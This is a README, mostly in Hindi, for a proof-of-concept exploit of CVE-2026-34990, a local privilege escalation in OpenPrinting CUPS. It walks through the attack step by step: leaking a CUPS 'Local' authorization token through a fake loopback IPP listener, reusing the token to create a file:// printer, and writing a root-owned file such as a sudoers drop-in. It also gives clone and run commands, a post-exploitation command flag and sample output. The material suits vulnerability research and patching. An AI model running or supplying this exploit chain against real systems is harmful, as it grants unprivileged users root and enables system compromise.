
CVE-2026-34990 — CUPS <= 2.4.16 स्थानीय विशेषाधिकार वृद्धि
स्थानीय गैर-विशेषाधिकार प्राप्त उपयोगकर्ता → root, लीक हुए CUPS
Localप्राधिकरण टोकन और नीति-बायपास करने वालेfile:///प्रिंट क्यू के माध्यम से।PoC by 0xcybersoldier
CVE-2026-34990 OpenPrinting CUPS में एक स्थानीय विशेषाधिकार उन्नयन दोष है जो 2.4.16 और उससे पहले के संस्करणों को प्रभावित करता है।
एक स्थानीय गैर-विशेषाधिकार प्राप्त उपयोगकर्ता जो CUPS डेमन (cupsd) तक पहुँच सकता है, संभावित रूप से इसे लूपबैक इंटरफ़ेस पर हमलावर-नियंत्रित IPP सेवा के विरुद्ध प्रमाणित करने का कारण बन सकता है।
परिणामी Authorization: Local <token> क्रेडेंशियल को फिर CUPS प्रशासनिक इंटरफ़ेस के विरुद्ध पुनः उपयोग किया जा सकता है।
आक्रमण श्रृंखला का अंततः उपयोग file:/// प्रिंट क्यू बनाने और cupsd को root विशेषाधिकारों के साथ हमलावर-नियंत्रित फ़ाइल लिखने का कारण बनाने के लिए किया जा सकता है।
विशिष्ट प्रदर्शन root शेल प्राप्त करने के लिए sudoers ड्रॉप-इन का उपयोग करता है।
इस रिपॉजिटरी में आक्रमण श्रृंखला को लागू करने वाला एक एकल-फ़ाइल Python 3 PoC शामिल है, जिसमें एक सुरक्षित --check मोड भी शामिल है जो स्थायी विशेषाधिकार-उन्नयन कॉन्फ़िगरेशन को सीधे बनाए बिना भेद्य फ़ाइल-लेखन व्यवहार को प्रदर्शित करता है।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2026-34990 |
| घटक | OpenPrinting CUPS (cupsd) |
| प्रभावित संस्करण | <= 2.4.16 |
| भेद्यता वर्ग | CWE-306 / CWE-284 |
| प्रभाव | स्थानीय विशेषाधिकार उन्नयन |
| आक्रमण वेक्टर | स्थानीय |
| आवश्यक विशेषाधिकार | निम्न |
| उपयोगकर्ता इंटरैक्शन | कोई नहीं |
| खोजकर्ता | Asim Viladi Oglu Manizada |
| सलाहकारी | GHSA-c54j-2vqw-wpwp |
PoC निम्नलिखित को लक्षित करता है:
OpenPrinting CUPS <= 2.4.16
स्थानीय रूप से चल रहे CUPS संस्करण की जाँच करें:
curl -sI http://127.0.0.1:631 | grep -i '^Server:'
उदाहरण:
Server: CUPS/2.4.16 IPP/2.1
नोट: उत्पादन अनुसंधान में प्रभावित-संस्करण सीमा पर निर्भर होने से पहले वर्तमान अपस्ट्रीम सलाहकारी की जाँच करें, क्योंकि विक्रेता पैच और संस्करण स्थिति बदल सकती है।
[1] Local user issues CUPS-Create-Local-Printer
|
| device-uri = ipp://127.0.0.1:9189/ipp/print
v
[2] cupsd connects to the attacker-controlled
IPP service on loopback
|
v
[3] Fake IPP service responds with:
401 Unauthorized
WWW-Authenticate: Local trc="y"
|
v
[4] CUPS/libcups retries the request with:
Authorization: Local <token>
|
v
[5] Token captured
|
v
[6] Token reused against the CUPS administrative interface
|
v
[7] Temporary file:// printer is created and
transitioned through the printer-management workflow
|
v
[8] Print-Job causes cupsd to write the supplied
document to the file:// target
|
v
[9] Demonstration payload can modify a privileged
configuration such as sudoers
|
v
ROOT
127.0.0.1:631 पर पहुँचने योग्य CUPS सेवाsudo उपलब्धकिसी बाहरी Python पैकेज की आवश्यकता नहीं है।
रिपॉजिटरी क्लोन करें:
git clone https://github.com/bara-almustafa/CVE-2026-34990-poc.git
cd CVE-2026-34990-poc
PoC को निष्पादन योग्य बनाएँ:
chmod +x cve-2026-34990.py
किसी अतिरिक्त निर्भरता की आवश्यकता नहीं है।
गैर-स्थायी सत्यापन मोड से शुरू करें:
./cve-2026-34990.py --check
जाँच मोड एक अस्थायी प्रमाण फ़ाइल का उपयोग करके भेद्य root-स्वामित्व वाले फ़ाइल-लेखन प्रिमिटिव को प्रदर्शित करने का प्रयास करता है और परीक्षण के बाद सफाई करता है।
डिफ़ॉल्ट मोड पूर्ण विशेषाधिकार-उन्नयन श्रृंखला प्रदर्शित करता है:
./cve-2026-34990.py
कमांड इस प्रकार दी जा सकती है:
./cve-2026-34990.py -c 'id'
उदाहरण:
./cve-2026-34990.py -c 'id; whoami'
| फ़्लैग | डिफ़ॉल्ट | विवरण |
|---|---|---|
--cups-port | 631 | स्थानीय CUPS TCP पोर्ट |
--listen-port | 9189 | टोकन-कैप्चर श्रोता द्वारा उपयोग किया जाने वाला लूपबैक पोर्ट |
--check | बंद | सुरक्षित सत्यापन मोड |
-c, --command | — | सफल शोषण के बाद कमांड निष्पादित करें |
--proof-dir | /var/tmp | अस्थायी प्रमाण फ़ाइलों के लिए मूल निर्देशिका |
--attempts | 8 | फ़ाइल-लेखन प्रयासों की संख्या |
--iterations | 80 | प्रति प्रयास IPP अनुरोध राउंड की संख्या |
$ ./cve-2026-34990.py --check
██████╗ ██╗ ██╗ ██████╗██╗ ██╗██████╗ ███████╗██████╗ ███████╗ ██████╗ ██╗ ██████╗ ██╗███████╗██████╗
██╔═████╗╚██╗██╔╝██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔════╝██╔═══██╗██║ ██╔══██╗██║██╔════╝██╔══██╗
██║██╔██║ ╚███╔╝ ██║ ╚████╔╝ ██████╔╝███████╗██████╔╝█████╗ ██║ ██║██║ ██║ ██║██║█████╗ ██████╔╝
████╔╝██║ ██╔██╗ ██║ ╚██╔╝ ██╔══██╗╚════██║██╔══██╗██╔══╝ ██║ ██║██║ ██║ ██║██║██╔══╝ ██╔══██╗
╚██████╔╝██╔╝ ██╗╚██████╗ ██║ ██████╔╝███████║██║ ██║███████╗╚██████╔╝███████╗██████╔╝██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝
CVE-2026-34990 :: CUPS <= 2.4.16 Local Privilege Escalation
PoC by 0xcybersoldier
[*] Triggering CUPS token leak...
[+] Captured CUPS Local authorization token
[*] File-write race: attempt 1/8
[+] VULNERABLE: CUPS wrote a root-owned proof file
PoC एक अस्थायी CUPS प्रिंटर बनाता है जिसका device-uri लूपबैक इंटरफ़ेस पर हमलावर-नियंत्रित IPP श्रोता की ओर इंगित करता है।
उदाहरण:
ipp://127.0.0.1:9189/ipp/print
स्थानीय श्रोता एक प्रमाणीकरण चुनौती के साथ प्रतिक्रिया देता है:
401 Unauthorized
WWW-Authenticate: Local trc="y"
यह CUPS क्लाइंट/सर्वर इंटरैक्शन को स्थानीय प्रमाणीकरण तंत्र का उपयोग करके पुनः प्रयास करने का कारण बनता है।
PoC परिणामी को कैप्चर करता है:
Authorization: Local <token>
क्रेडेंशियल।
कैप्चर किए गए टोकन को CUPS प्रशासनिक इंटरफ़ेस के अनुरोधों में पुनः उपयोग किया जाता है।
संकल्पनात्मक रूप से:
Authorization: Local <TOKEN>
यह बाद के प्रिंटर-प्रबंधन संचालन के लिए आवश्यक प्राधिकरण संदर्भ प्रदान करता है।